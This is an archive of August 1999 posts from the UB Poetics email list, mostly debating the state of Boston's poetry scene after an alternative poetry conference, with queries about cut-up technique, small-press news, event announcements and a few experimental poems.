The discussion of the Boston conference has, if nothing else, clarified problems of community outside of Boston, or New York, or wherever, as well as within these places. The intent of Jacques' posts thus far seem to have been aimed at his ability to find a community within which he can do the work he currently deems essential. This is not to say that there is no poetic community - there have been several mentioned, in fact - flourishing in Boston, but that the nature of the relationship between any of these communmities and the work that Jacques feels compelled toward at present is one in a fetal stage that for a variety of reasons can't or won't develop. In light of Kevin Killian's comment

that poetry has always to be rescued from the mileau in which it occurs, it seems there might usefully be more discussion about individual responsibility viz. finding a relationship to some "larger" poetic community, and trying to make it work. I want to say something about a certain "critical spirit" in this, but it's a difficult topic to address

with its mix of issues involving loyalties, beliefs, fears and the like. Nevertheless, and as painful as it might be, there has to be some gut level discussion of on-the-ground specifics, ie., who one does or does not "get" that "thing" - a working 'ground'? that Jacques I think is saying he doesn't consistently get in Boston - from, and why (not). Not that this has to be in the mode of "dirty laundry." One of the big problems in establishing community, or rather relations within community is

the part criticism plays, at what level it is functional, and how it can be introduced in some way more fruitful than yielding, for example, the obscene phonecalls Jacques received in response to his, I thought, mildly critical first post. The question is, how specific, viz "others" (& their work) is it possible to be while at the same time maintaining some momentum toward furtherance? How do we avoid outright stoppage in the equivalent reaction of spitting on one's peers? Is it possible to contest

what issues of a future will be those most "deserving" of attention without becoming wolfishly defensive upon presentation of like ideas and terms by

those who might initially appear to be nullifying all you feel you are working in, on and toward? What's the method? Or will it always be this beautifully

unfulfilled provisional slogging forth with mud on our boots, full, still, of all that comes of being 'present' in this Lost Kingdom in completely unexpected ways? But the question still remains, how

useful might it be to "name names" viz. one's feeling for community (to be crude about it, who's hot & otherwise not) in some more public forum, rather than to leave the subtleties of community relationship issues to the more intimately unheard, private (maybe also solo?) voice? This, in part, is what the Boston discussion IS, yet

it's disturbing that it's couched so much as general conditions rather than specific tale. Humankind, perhaps, in any state other than astraction, is more hideous than words can tell, tho of course, there's always reason to doubt, the cause toward further clarity. Is there more to notice about each our isolation?
S E

> *From: Jacques Debrot <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: Boston 99*
> *Date: Thu, 5 Aug 1999 09:28:35 EDT*
>
> *In a message dated 8/4/99 12:38:05 PM, [redacted] writes:*
>
> *<<I do understand that those who wanted every reader to be as "alternative" as, say, Wendy Kramer and her wonderful corrugated love poems, might have been sometimes disappointed. But personally I would welcome more alternative/pluralistic/open-minded/inclusive poetry events at any time, anywhere.>>*
>
> *My posts have not been so much Conference reports of course as much as they have used the Conference as an opportunity to look at, however superficially, etc., given the inherent limitations of the Listserve medium & the competing demands on my own time, the state of Boston poetry & the Boston "scene"-- while also acknowledging that it is impossible to be entirely objective about such things. After all, I am an interested party. But complaints like mine I think are not meant to "focus on small negatives." Instead I'd argue that my dissatisfaction is part of the *positive fall out" from the Bo Po Conference-- that is, the Conference has made some of us dissatisfied with*

what we settle for the rest of the time.

"Alternative" is certainly difficult to think about. Diane Wald is right to say that if it means things only like Wendy Kramer's work--the subtext here implies, if I am reading Diane correctly, the 60s adj "far out" --then the demands implicated by the term would be too restrictive indeed. But I'd like to keep the word "alternative" instead of running away from it, as well as the words "experimental," "innovative," -- "avant-garde," even-- precisely because they are so difficult. The innovative is not, I 'm saying, a fixed category but constantly shifting in relation to the doxa, to the routine & the already codified. It can mean Wendy Kramer, but it can also mean, as Brian Kim Stefans has persuasively suggested, Jennifer Moxley's recent work, in which she shrewdly negotiates "traditions and modes that are not quite in the ascendant," or Tan Lin's new work in the Boston Review. In other words, the alternative is what we use to counter-act-- as Kevin Killian brilliantly puts it-- the malaise that "everywhere, at every time, . . . must continually be recuperated and rescued." In contrast, "shining pluralism" sounds like something everyone would want in the abstract, but this is perhaps what is wrong, not so much with the term, but with the idea behind it. "Pluralism" is a word that is used with insidious effect by the corporations, the government & the mass media, & although I admire David Shapiro immensely, I think even he uses it--though in a much more benign way--to cover-up important contradictions. I don't have the time to go into this here, but Sianne Ngai, in an article I mainly disagree with, discusses pluralist ideologies in a very provocative & enlightening way in OPEN LETTER winter 98.

Which leads me to Canada, if not to Vancouver. Kevin Killian's is a fascinating question, but of course I am not the one to write about Vancouver. There are many Kootenay people who subscribe to the List, I've noticed. But Kevin also writes:

<<Daniel Bouchard has wisely printed a list of Boston poets attending said Conference and a second list of poets from elsewhere that also attended, made it concrete and plain, and frankly speaking as an outsider I wonder how the New York poets in attendance come off as so much more sophisticated and/or accomplished and/or experimental than the Boston

> *ones. Please clarify.>>*
>
> *A "scene" is not reducible or equivalent necessarily to the poets who live in*
> *a particular city. A scene is constituted rather by the formal & informal*
> *structures of affiliation organized, if only loosely, around reading series,*
> *journals, publishing houses, academic venues, private & quasi-public*
> *institutions and foundations like New Langton Arts, and the Poetry Project,*
> *as well as around living rooms and bars. As Dan's list suggests, Boston is*
> *much less than the sum of its parts. In the best light, one could say that*
> *it's a city full of many interesting, autonomous poets. On the other hand,*
> *these parts--as disjunct parts-- lack a certain sufficient, or even liminal,*
> *critical mass. It's impossible to miss the fact, for example, that Sun &*
> *Moon is in LA, but I'm in Cambridge all the time & I couldn't tell you*
> *exactly where Exact Change is located. This is perhaps a bad example, but*
> *the bottom line, I'm beginning to realize, is that Boston/Cambridge is a city*
> *that people spend some time in for whatever reason & then pass through. I'm*
> *more likely than not in the very same situation myself. So the structures of*
> *affiliation I alluded to earlier haven't flourished here. Dan was correct to*
> *criticize what was latently, in my first post, a model of mentorship or*
> *apprenticeship, however the extreme anti-academicism in Boston poetry circles*
> *is in some senses merely reactionary--an understandable response to what has*
> *been here more-than-neglect-- but it casts things in too Machinaean a*
> *perspective. Even given all of this bad news, my previous posts have not*
> *adequately acknowledged the indispensable force Michael Franco has been for*
> *encouraging any existing sense of a dynamic among local poets. In addition*
> *to many other things, his reading series frequently brings extraordinary &*
> *challenging poets to Boston. But, you see, these readers are only **passing*
> *through** even more quickly than most. The local magazines, of which there*
> *are practically none now, have also always published wide-ranging work.*
> *But, once again, reading them, one got/gets the sense that the most*
> *innovative poetry (however insecure my hold on the term innovative is) was*
> *being "reported" on, "noticed" & "appreciated" -- but not being *produced**
> *here. I get the feeling in fact that this distinction is an important, if a*
> *subconscious one. Dan was correct to pick up on my List Discussion habit of*
> *collapsing many different kinds of poets into a Boston "pigeon hole." The*
> *best I can do now, in this venue, however, is to suggest again that the*

> *dominant trend in Boston poetry has been a reluctance to play with language.*
> *My pointing to the absence of a Language poetry presence in Boston in the 70s*
> *& 80s doesn't mean that, as a result, I miss the presence now, of a local 3rd generation of L poets. far from it. What I was suggesting instead that*
> *tL poetry created certain dymnamics being played out currently in SF & NY that are valuable inasmuch as they are in reaction against as they are in sympathy with, LP. If you decide to stay in Boston, it's because other influences--Black Mountain, say-- are important to you & flourish here. But*
> *there is no sense "of six or seven or eight generations" of Boston poets "all working at once and still feeling a little hung over and millennial right now." If it's true, as I think it is, that the people with the most energy, & the most time here, only *reproduce these limits* in Boston, the*
> *weakest part of my remarks was to fault *them* for that.*
>
> *Finally, Kevin writes: "I'm also not sure what role Lori Lubeski is playing in your argument" Actually a number of people have bc'd me to suggest other*
> *names. Why not then, Donald Wellman. An extremely interesting poet, he published O.ARS for 10 yrs in Cambridge, & yet--again with the exception of Michael Franco-- goes strangely unnoticed & unacknowledged here.*
>
> *--jacques*

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79. Tisa Bryant

Where's Boston? Where's Boston's Poets?

Fri 6 Aug 1999

Hello.

I'd like to offer a few, okay several (dis)jointed and rambling comments.

I'm a Boston native, living here for 4 years in SF (that's San Francisco).

Certainly my eyes opened wide to hear about an "alternative" poetry conference in Boston, the 2nd annual, no less. Wish I could've been there; wish this had happened 10 years ago. But then, I'm sure it had, and then, I know it did again. And again. And will. So.

Regionalism is just that. Boston always gets short shrift in the competition for center of the universe, and really, so what? Community happens wherever you

are, and so does poetry. Schools or centers of any kind of thought/production often produce repetitions. What's been exciting has been to know that there's all kinds of poetry going on, everywhere, all the time. I just need to speak more languages, within the American tree of words, and with the roots of other countries. Someone asked who among the Alt Bo Po line up was actually "from" Boston. There was some brave poet there who read with "heart"? Does that mean our notorious honking accent? (I'm laughing here.)

(I, like Bo Po's organizer, Kiely, am yet another "uncredentialed" independent doing whatever I want or feels needs to be done, on my own terms, and with help from friends. This "alternative" way of doing things is often collapsed into "activism", which is fine with me. And I think this point warrants another conversation about what and whom is being measured and legitimized, and by whom, with what, what yield? Academic elitism, romanticized movements, idolatry, clout and influence indeed.)

Boston is a big college town with a 5% sales tax and a hard core local populace perpetually chafing against transient intellectuals and their overwhelmingly khaki influence on the city's personality, or lack thereof, as well as more of the same between working classes and Boston Brahmins, between races with no money, etc. Almost like anywhere, but with a particularly icy vengeance. Maria Damon, you may recall that miserable failure, the "Where's Boston" campaign from about 25 years ago, which was just as much about the "who" and the "what" as the "where".

So I think I understand the ambivalences of the city, and the impact it can have on the writing of those who come or stay. Especially in the shadow of NYC, or in contrast to the New West, or That Other Happening Country Up North, or in light of internalized anguish for having never been the "center" of a "movement" of innovative note, for all its heavily endowed schools, not to mentioned its fabled unsophisticated accent. So many rulers to break. What does this really have to do with what the writers at the Alt Bo Po conference presented? Nothing, really. The organizer made some choices, the readers made some choices, interpretation was open, everybody went home with more than they brought, and there it is.

(Thanks, Jack Kimball, for sharing with us your what you saw and heard at the conference. I really felt like I was there during the Emily Dickinson parade.)

For all of my literary life in Boston, I was the only Boston native in my community, which was at that time The Dark Room Writers Collective, for nearly 10 years. There were about 15 of us at the best of times.

We thought we were an alternative, simply for providing workshops and a reading series that featured writers of African descent, and we were. On our schedules were Erica Hunt, Julie Patton, Nathaniel Mackey, Ntozake Shange,

John Keene (DR member), Sam Delany, Dolores Kendrick, Kofi Natambu, Kevin Young (DR member) David Henderson, Harryette Mullen, myself, and a particularly memorable tribute to Bob Kaufman in 1990.

(And while I'm glad Prageeta Sharma and Will Alexander were in the house at this Alt Bo Po, yeah? Alternative for whom is another question. I forwarded the event announcement to my friends back East; none of them had even heard of it. Who's counting who's missing? What makes an alternative? Where/when does the audience come in? etc. etc.)

Anyway, writers who wouldn't necessarily be considered "avant-garde" were also on the DR schedule. My point? Just that. It was an accessible alternative (yes, Jacques, the "slipperiness of the term") to what Harvard/BU/MIT/Northeastern offered (the series was in our home, and had no support/connection to any of them; we paid out of pocket for everything with our dues), and made a difference, to those in the know and those just getting to it. What did it say "about" "Boston" poets? Nothing, really, or something predictably unsavory, since when someone said something "about" "Boston" poets, they didn't, and rightly couldn't, mean "us" (well, excluding me, I guess). Everyone was from everywhere, and would go back out "there" at some point to get more of what they brought with them. About innovation and experimentation? That everyone, at some time or another, did a little something, some more often than others, it was all about seeing the threads, potential of the past, and the dangers of the monolithic. About the scene? Well, some deserved praise unfortunately frequented by the word "renaissance", but praise nonetheless (and sure enough, it's over now). And nice, donation bearing crowds. It was a lot of work, very trying, and a lot of fun.

Was Boston turned into a colored writers' mecca? (Kevin Killian, I'm thinking about what you said re: the Boston/Vancouver connection). No, it most certainly wasn't. Sometimes there's no overcoming history. (Damn Red Sox!)

Will it turn itself into what Vancouver has? Who's to say it hasn't? But I must say, if it wasn't for Harvard/MIT/BU, (and occasional treks to UMass/Amherst and, gasp! Yale) I would never have seen in such numbers the experimentalists (my definition) I did see over the years there, actually, for all their conservatism and misapprehension of the term "outreach".

What was happening then in the DR was necessary but not perfect, as the Bo Po conference certainly was and was not, and other things will be and not be.

Surely, as one of the few "avant-garde" writers within the Collective, I certainly wanted more from our scheduling and focus, but was glad to get what I got and give what I gave.

Tisa

****

Today we declare:
First, they are living in a Nono form;
Second, they are Nono lives;
Third, they make us feel Nono;
Fourth, they make us become Nono;
Fifth, we Nono.

Lan Ma
"Manifesto of Nonoism"
(Chendu, China, May 4, 1986)

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80. **maz881**

Re: Boston

Fri 6 Aug 1999

BKS wrote: <<It seems to me Jacques was suggesting not that Wieners isn't in the hearts and minds of many poets in Boston, or that Lansing wasn't able to put across some compelling poetry, but that there doesn't seem to be a sense of mission or "progress" in the group of younger poets, and that this can be attributable to the indifference of these poets to thinking about or through these issues along with creating their work.>>

re: progress. once Barrett Watten asked me, after some conference in nyc, if there had been any progress in "the group of younger poets." i said i don't think so, but we do have a conduit.

Bill Luoma

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81. **Jim Andrews**

cut ups

Fri 6 Aug 1999

I'm looking for thoughtful writings (on or off the Web) about the cut up and related devices.

Burroughs, I know, has written interesting things, notably in The Job. Also, Jerome McGann has a great essay relevant to the subject at http://www.english.upenn.edu/~afilreis/88/mcgann.html and Robert Kendall has an equally good essay at http://www.altx.com/ebr/ebr5/kendall.htm

This concerns a project of mine (and others) I'm working on at http://www.vispo.com/StirFryTexts (needs IE 4 or 5).

Basically, I'm looking for deep insights (not just history) on the relevance of cut ups (and related devices) to the last 40 years, with particular emphasis on the Web over the last 5 years.

Thanks,
Jim Andrews

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82. Hank Lazer
(Fwd) KPFA statement
Fri 6 Aug 1999

For those of you following the events at KPFA, this e-mail from Jack Foley may be of interest...

Hank Lazer

------- Forwarded Message Follows -------
From: [redacted]
Date: Fri, 6 Aug 1999 11:21:48 EDT
Subject: KPFA statement
To: [redacted]

Dear Hank,

I'll be back on the air today in a special program which will feature, among others, Mumia Abu-Jamal and Lawrence Ferlinghetti. This is a statement I'll be reading. I'd appreciate it if you'd pass it along to Buffalo.

Thanks!

Love,

Jack

Hey Hey
KPFA
Free Speech
Won't go away

This is Jack Foley, glad to be back on the air in this crisis programming. There's a phrase associated with a show which is no longer on KPFA: "Freedom is a Constant Struggle." The program was hosted by Kiilu Nyasha, who continues to present it on Liberation Radio (93.7 FM) Wednesday nights from 7 to 9. There are personal dimensions to freedom, but there are also public dimensions. As someone who has worked at KPFA for ten of its fifty years, I find

myself acutely aware of both, and acutely aware as well of the need for "struggle."

The philosopher Martin Heidegger once said that freedom is not only something you "have," it is something you "are." We at KPFA are struggling to "have" freedom_and we will get it_but we could not struggle unless we were aware of the radical freedom that lies at the heart of every person. The New England town meeting, with its cacaphony of voices, is one paradigm for democracy, but it is a paradigm which is no longer fully useful. In its diversity, the United States can hardly see itself as "New England." We can no longer fantasize that we are a small town largely made up of Protestants. The idea of the town meeting has to become the more sophisticated and open idea of multiculturalism_has in fact already become the idea of multiculturalism. It is this idea that KPFA welcomes and recognizes. Multiculturalism is that situation in which everything comments on everything else, in which everything stays open to the possibility of the other. Multi is to culture as multi is to media. It is something "other" which intersects, comments upon, and recognizes. Multi is to culture as poly is to theism; as diversity is to university. We don't have to look far for examples. Our minds are multiple, and it is this multiplicity that gives us our truest freedom. At our roots we are creatures of possibilities, and when we lose the sense of possibilities_when we arrive at what Jennifer Stone calls "hardening of the categories"_we lose almost everything that defines us as human. The idea of KPFA is a refusal to look only at some possibilities. The myth of Pandora's Box is a myth of closure and repression. What is in there is not the ills of the world but the possibility of the new, the other, the different. KPFA wants to open Pandora's Box.

There's a passage I like in Ishmael Reed's anthology, MultiAmerica. It was written by Bharati Mukherjee, and it is particularly relevant to the struggle of KPFA with Pacifica:

> What we have going for us in the 1990s is the exciting chance to share in the making of a new American culture, rather than the coerced acceptance of either the failed nineteenth-century model of "melting pot" or the Canadian model of the "multicultural mosaic"...I want to sensitize you to think of culture and nationhood not as an uneasy aggregate of antagonistic "them" and "us," but as a constantly re-forming, transmogrifying "we."

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83. Alan Sondheim

Eighteen True Fortunes Sorted in Chaos

Fri 6 Aug 1999

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(The trouble with a kitten): Eighteen True Fortunes Sorted in Chaos

Ah life, you are so true, such is the order in which messages become bot- tles broken, what energy! It's a harder thinking. It's research whatever. America, any boy may become president and I suppose that's just one Klein Enzymes are things invented by biologists that explain things which In Geminis are known for committing of the risks he takes. otherwise require "Matrimony isn't a word, it's a sentence." A classic is something that Law of Volunteer Labor: admission to someone else. avocado than to get in My life is all erratic. My parrot, who was cordial, President Reagan has The carpet died, a palm collapsed, The cat keeps doing poo. The chief a fight with an aardvark Man, n.: President Reagan forecasters and has anyone can admit to themselves they were wrong, the true test is Zymurgy's better to kiss an avocado than to get in a fight with an aardvark Man, n.: called quitting. wants to read. which, however, multiplies with such cause of problems is solutions. The only thing that keeps me sane While decided on an excess prophets tax. has noted that there are too many economic pundits and President Thieu he is as to overlook what he everybody wants to have read and nobody Famous last words: Famous last extermination of other animals and his own longer than usual because I extermination of other animals and his own species, problems is solutions. forecasters and has decided on an excess prophets rapidity as to infest he is as to overlook what he indubitably ought to be. His chief make he'll quit if he doesn't get more than 50% of the Since I hurt my pendulum indubitably ought to be. His chief it shorter. occupation is insistent rapidity as to infest lack the time to Is now transmitting static. Is talking to my shoe. It is lack the time to It is better to kiss an make it shorter. occupation is noted that there are too many economic pundits and President Thieu says of Large Problems: I have made this letter longer than usual because I says he'll quit if he doesn't get more than 50% of the The chief cause of species, the whole habitable earth and Canada. vote. In a democracy, tax. that's not called quitting. which, however, multiplies with such insistent the whole habitable earth and Canada. vote. In a democracy, that's not words: Hoare's Law of Large Problems: I have made this letter Hoare's Law With VLSI we can pack 100 ENIACs in 1 sq. cm.! Under deadline pressure for `social sciences' is: some do, some don't. are bisexual. However, you are bottle for rent -- inquire within. The only possible interpretation of any cat You are a quick and intelligent thinker. People like you because you grows up, it's always a harder thinking. inclined to expect too much for too can wait. Unless is that Think of it! the next week. If you want something, it When it it's blind screaming paroxysmally hedonistic ... incest. little. This means you are cheap. research whatever in the The trouble with a kitten

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84. Robert Freedman
Ron Silliman's "The New Sentence"
Fri 6 Aug 1999

Several weeks ago someone on the list mentioned a few good books on poetry, one of which was "The New Sentence." I could be mistaken, but there was a note that this one was probably out of print. Since I wanted a copy, I checked Small Press Distribution, Roof Books, and some of the mail-order companies on the web, and they all show it as available--and I did place an order with SPD.

Sorry if I'm mistaken. I just want to ask the person who submitted that post if he/she would please repost that list. It looked good, but I absentmindedly delete it. I've looked through the archives for the terms Silliman and Sentence, and they don't lead to what I want.

In case this was on my other list (Poetry, etc.), I'm posting it there also.

Cheers,

Bob Freedman

↑ Index

85. Elizabeth Treadwell
a+bend press READING sunday the 8th, SF
Fri 6 Aug 1999

--->
Just a reminder--this is happening at the Blue Bar (enter thru the Black Cat Restaurant) this Sunday at 2 pm, 501 Broadway, San Fran....ET

> *book nine Eve Doe : Prior to Landscape Elizabeth Treadwell*
> *book ten definite articles Sarah Anne Cox*
>
> *books nine and ten will be released August 8 at the reading at BlueBar in SF*
>
> *the a+bend press small books series is a chapbook series published in conjunction with a San Francisco-based monthly reading series produced by the editor/publisher, Jill Stengel.*

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86. Jamie Perez
2-minute plays.interest?
Fri 6 Aug 1999

File this under: Spreading myself too thin <pls excuse the mass-mail>

A friend of mine and I are trying to put together a festival/night of 2-minute plays.

What we need: playwrights, actors and directors. Have some, need way more.

The concept: low-budget, non-playhouse venue, bunches of short short plays, intermissions for drink-buying and chatter, fun, maybe even money raised for charity. Maybe around 1.5 - two hours all told, so room for lots of work.

Plays or monologues in need of actors/directors welcome. Plays or monologues with self-provided actors/directors welcome. Maybe even excerpts from non-original plays with actors/directors provided welcome (that is currently in debate). Hoping for a diverse body of subjects/styles/aesthetics. The two minute rule is probably pretty loose, might even let them go as long as 4 minutes?

Depending on number and quality of scripts received we will jury out the winners and go from there. Depending on success of first try, we will also see if we go from there.

Nobody will make any money off of this (except maybe a charity, see above). If lucky we'll be able to cover advertising costs or something. Participants, however, may be spotted by an agent and whisked away to a profitable career in porn.

This idea is evolving. We are hoping to roll out a night of work before the end of October, but the date is arbitrary at this point. Please email me at <[redacted]> if interested in any capacity and please note the capacity that would interest you. Multiple capacities accepted and encouraged. We're going for community here, people.

Please pass this notice to anyone you feel may be interested. Note, this event will take place in Washington, D.C. Those somewhat in the area will obviously be given preference.

jamie.p

↑ Index

87. Christopher Reiner
small press news
Fri 6 Aug 1999

On the small press front...

In the current issue of Publishers Weekly there is an article about three presses (Avec Books, Kelsey St. Press and Johnson Books). The title of the article is: "Small Presses Celebrate Anniversaries and Awards":

http://www.publishersweekly.com/articles/19990802_79511.asp

Avec Books' web site is http://www.litpress.com/avec
Kelsey Street is http://www.kelseyst.com/
Johnson Books is http://www.jpcolorado.com/johnson/jb_frame.htm

↑ Index

88. **Mark Weiss**
Help!
Fri 6 Aug 1999

Somebody please backchannel phone numbers and/or email addresses for Nathaniel Mackey, Roberto Tejada and Luigi Bob Drake.

↑ Index

89. **Jacques Debrot**
Re: Cut ups
Fri 6 Aug 1999

Of course the key explicatory text by Burroughs on the cut-up technique is THE THIRD MIND. The LA County Museum catalogue for the recent exhibition of Burroughs's artwork--PORTS OF ENTRY--has a number of insightful articles on the cut-up method, & just as helpfully, a very strong bibliography. Also, off the top of my head, Jim Rosenberg in POETICS JOURNAL 10, discusses both the cut-up & hypertext in a good article. & Reva Wolf's book, ANDY WARHOL, POETRY & GOSSIP IN THE 1960s, discusses the cut-ups briefly in connection with THE TENNIS COURT OATH, & the appropriative strategies of Pop art.

jacques

↑ Index

90. **Jacques Debrot**
Re [2]: cut-ups
Fri 6 Aug 1999

Apologies for the second note. I just wanted to add that, while connecting the cut-ups to recent developments in Web technologies is certainly legitimate, you'd also want to avoid the dangers of historical de-contextualization. Burroughs's work emerged after all at a crucial moment--along with Cage's & Ashbery's--when 60s artists were confronting commodity culture really for the first time. Related issues such as the homosexualization of the New York avant-garde, the conflicted reaction against Abstract Expressionist culture, the initial & then-ongoing US reception of Dada, as well as-- to the extent that this was being played out on 2 continents--Burroughs's & Ashbery's relations with & attitudes toward, for example, TEL QUEL, are all issues that, although they

don't each have to be considered in the context of your study, nonetheless give Burroughs's cut-up method a specific rather than a merely analogical & general significance.

--jacques

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91. George Bowering

Re: Where's Boston? Where's Boston's Poets?

Sat 7 Aug 1999

> *Boston always gets short shrift in the competition for center of the universe,*

Tell that to Sidney Lanier!

George Bowering.

,

fax: [redacted]

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92. david bromige

spicer did not lead to tish

Sat 7 Aug 1999

> *I think this is interesting in relation to this idea of poets "passing through," since as the lore has it Jack Spicer passing through Vancouver and giving his lectures seemed to create part of the ambiance that led to Tisch, which then led to Kootenay, etc. [Brian Steffans].*

Never heard this lore, myself, but I can tell you that Tish was started 4 or 5 years before Spicer's Vancouver visit. Robert Duncan, who visisted and engaged with a forming community of young poets in Vancouver in 1960 or '61,was the American poet most responsible for the encouragement that kept Tish afloat. Robert Creeley, who visited and in an informal setting, taught these same people the following summer, should also be credited.

Spicer's visit in '65 surely kept the flame of counter-poetics alight. But just to set the record straight. (George Bowering cd do a better job; you out there, G?)

Not to take anything away from Brian's post, which I enjoy for its ranging x-Atlantic and for its discussion of Rodefer's role/s. Btw, anyone got a current e-ddress for SR? If so, please b-c to me.

David

↑ Index

93. Daniel Carter

dear she says dear you're always gone dear always and now with

Sat 7 Aug 1999

{ }

dear she says dear you're always gone dear always dear gone dear and now with that to demonstrate if not modulate more smoothly as per classic: rever more wildly celebrated distances yield reject play reploy the part(s) of Kate: celebrated for lack of intervening very clothely your line-control couldn't wouldn't include that time this time that haven pen sled now t' vine a way pack in no not this however maybe that no not that ethereal ur-line cutting the lulls willfare specific radio grief wield the weird child party oh back there it was urine control that fits in a little bitter here where chilly rose (up) on the spot target moving flash relations no ice write the wave weave some space grace await its greasy banks frozen pivots from the sea not the only but one of the oceans sea choral relief curl the tube with fingers slightly touching its watery walls all dynamic frozen pivots: voter's eyes energies' showers enter here the concern no worry yes worry along the way that no account kept of just where the source file and where and what on it from it etc. glowing black just a little for careerity: voters's eyes voters sighs showers shown blown off guard the open pleasure rounds just happened the question of which voice is there a voice which voice if voiced exists at all? the down gittin' up 'n' the up gittin' down rage page prep they all slid into one another they all slid into one anothers' distance upheld one anothers' distances held up rubbed close something you might like to write the youth the aged the ageless wageless stageless pageless rageless timeless enormity eternity pain joy of now then when more constant egg-cell lens pour happenings less stress less dress to a certain uncertain paint painted out in full claim persuasion keeping in mind that nothing is full except that it might well act that way spill over though actually there was a little more room in there t' fill without it having t' spill why that contention instead of any other thing that might have occurred in locusluogo don't answer muted do however mute without dispute and sow for earth on dawn the newborn pain joy of now when? tension resolution solution dissolution tension reborn day and night the wheel spiral revolve evolve forthward word-trail word-trial as distorting mirror trace when to read (rewrite) the first (versed) page current flak the thunderwriters vocal points ink as a kind of flesh digital pre-feather remote space glide here a moment while another that had not yet introduced itself waited until the re-arrival of and then the circling before landing necessary ink of the flesh kind: a story is about to be told waiting for replay having skipped over a puppet surface announcement and having skipped over another without courage to include bound feet bound brains reveal unplugged same from higher mind from soul the nude program guide a good mountain of

pages chick-points speed not speed the pressure-group theory of woman locate a nature who higher wind turn wound up down on in the ground glow undo battlefluid hungered them undisclosed hand-made dollies cloakwork arrange disentangle dismangle yes the personal it does come up bubblic statements to that deflect international beastkeepers tweak-end cupcake 'n' a lot o' utter fractors injure in t' the pick flicture last cheer in myth case hot elephants frequent fatigues answered memories of blue carts into which cracked mirrors 'n' cracked dice 'n' cracked ice repertoireepertour might not o' gone no further if it weren't feur flea time that could not in this instant stance be resisted oh no what is this? maya clock questions of energy directions fannyfest themselves seedily in a huff enough dis-phased for the versd Dr. Pill: My Sacred Life cavernous blink myth Heil! my coldest friend t' hide: icy dead people flock let's glow the way they lost I.D. orbitrary punishments curse made a nasty piece of its own accord of its own A-chord nervous and tremblink ooze curliest recollections come up command veiled little flick joins Popkin's quill-tempered stealth delay care in openness but open nest prolonged Mouthfallen proprieties ease Blinkles poor doubt peach house proper tease knifespire excess energies management ink-orbit rated loom plush pour doubt echoes pie buy by the mirror slaying impulse t' try a longer wave life from the desert in the dessert blow wrong contact blinks from a divers groundless flackground this slatest page of the gloryteller verbal remedies contrast trimities emblematize tolerate snakespear in the bush disinterestedly in betweave ashen cream(s) motherness in literary language careening up dearthy brackets mythunderstanding(s) there comets a time for reach for reach child to re-member itself itch way it glows waiting for reploy ink tore away adorn away a door away a

--

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94. Kathy Lou Schultz

Re: 6 JANUARY 1995 / 24TH ST & GUERRERO

Sat 7 Aug 1999

I recognize this as the "introduction" Kevin Magee/Lynn Miller read before Jennifer Moxley's reading a few years ago at the old Small Press Traffic location in San Francisco (24th & Guerrero).
Sometimes context is everything.
^^^

42 Clayton Street San Francisco, CA 94117-1110

>From: Lynn Miller <[redacted]>
>To: [redacted]
>Subject: 6 JANUARY 1995 / 24TH ST & GUERRERO
>Date: Wed, Aug 4, 1999, 7:44 PM
>

> *"There is a specter haunting poetry"*
>
> *Jennifer Moxley, Invective Verse*
> *Writing from the New Coast, 1993*
>
> *Finally someone has brought out the ghost and made it walk, and talk. Swift, light, airy--Jennifer probably wrote her poetics statement in less than an hour. When I found it in a book called "Technique," I laughed. It was a dash. It is hilarious and it is incisive. Here is a poet whose first thought about her poetics is the right-wing currently consolidating its power in the halls of that bad joke called Washington. Her advice is to put down that cup of coffee and feel the rage. Time is running out, poetry is a privilege, and screaming our radical politics from the rooftop doesn't mean a thing unless the voice belongs to millions. "Who the fuck are we anyway?" Jennifer wants to know, and it doesn't sound to me like a rhetorical question. Along with her friendly allusion to the Communist Manifesto, in the space of a single paragraph are plays on the sit-in tactic of the Civil Rights Movement and an assertion of the classical Marxist position that Socialism is merely a transitional stage, a tangible and immediate goal en route to the Pie in the Sky. Moxley calls the first phase a "benefactor economy" and she is not dreaming. I overheard the same demand Thursday from two bicycle messengers on their lunch break: "Every good writer should be guaranteed at least $30,000 a year." The speaker's co-worker was nodding his head in emphatic agreement. I could live with that, at least "until after the revolution." Again, I'm quoting Moxley, because she says there's going to be a revolution, and you can wear whatever you want including your suede shoes. I've got mine on tonight for the occasion of hearing what else this poet might say, a poet who wants to recapture the "public domain for poetry" (and with an exclamation mark!") It's another one of her wild ideas, like THE CALL FOR POETS TO CHANGE THEIR NAMES AT THE END OF EVERY FISCAL QUARTER--Benjamin was thinking along the same lines when he called the author a producer, like a director or conductor--some BODY absorbing the current of the time in current times. Electricity in the air. That's what the specter is, and that's why I find Moxley's theoretical contribution to the New Coast symposium so exciting and valuable. She wants excess and abundance and she wants it now. Her call for recapturing the public domain reminds me of something Trotsky thought about. I can't remember anymore whether he was writing about the Russian Revolution or French Surrealism when he very*

> *lucidly articulated the phenomenon of combined development. According to Trotsky, the avant garde is not a permanent achievement. It happens once and once only, out of great sacrifice and against incredible odds, and then it reaches a crossroads or the crossing of many roads, other levels of consciousness passing by, surging forward, BEARING THE STAMP OF THEIR NECESSITY, and if the vanguard foregoes dialogue in the fantasy of its own intellectual superiority or correctness of method, then it winds up reproducing itself in an increasing series of diluted gestures. It spins its wheels and the efforts of poets or professional revolutionaries that brought the avant garde onto the stage of history are wasted. If, on the other hand, the youth coming out of that vanguard choose to seek dialogue with so-called "backward" tendencies, combined development can occur--an unpredictable release of creative energy of vast proportions. That's about as far as I can get with that thought for the moment, but it strikes me as somehow in relation or congruent with Jennifer's anticipation of the possibility of a popular poetry. I can't wait to hear her poetry whose desiring is announced with such ease and aplomb. Let's welcome the author of "Invective Verse" to Small Press Traffic and to San Francisco.*
>
> *Whereever Moxley is worn*
> *all changed, changed utterly*
> *a terrible Beauty is born*

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95. John Tranter
Jacket
Sat 7 Aug 1999

LATE EXTRA -- Jacket number 6 --
after unavoidable delay,
Shamoon Zamir's detailed and absorbing 5,500-word review of Nathanial Tarn's
SCANDALS IN THE HOUSE OF BIRDS : Shamans and Priests on Lake Atitlán
has arrived at Jacket # 6 --

"Tarn . . . is unique within ethnopoetics and equally within the longer history of the dialogue between American poets and anthropology that stretches from Pound and Eliot, through to the likes of Olson, Duncan, Rukeyser, Snyder, Dorn and Jay Wright: he is the only one to have produced substantial and accomplished bodies of work as a poet and as an anthropologist and the only one to have written at length on the interactions of literature and anthropology. . . . . Narrated through multiple narratives and many voices, the book deals with a religious conflict between indigenous religion and Christianity. The theft of masks covering Maximón, a Mayan wooden statue venerated since pre-

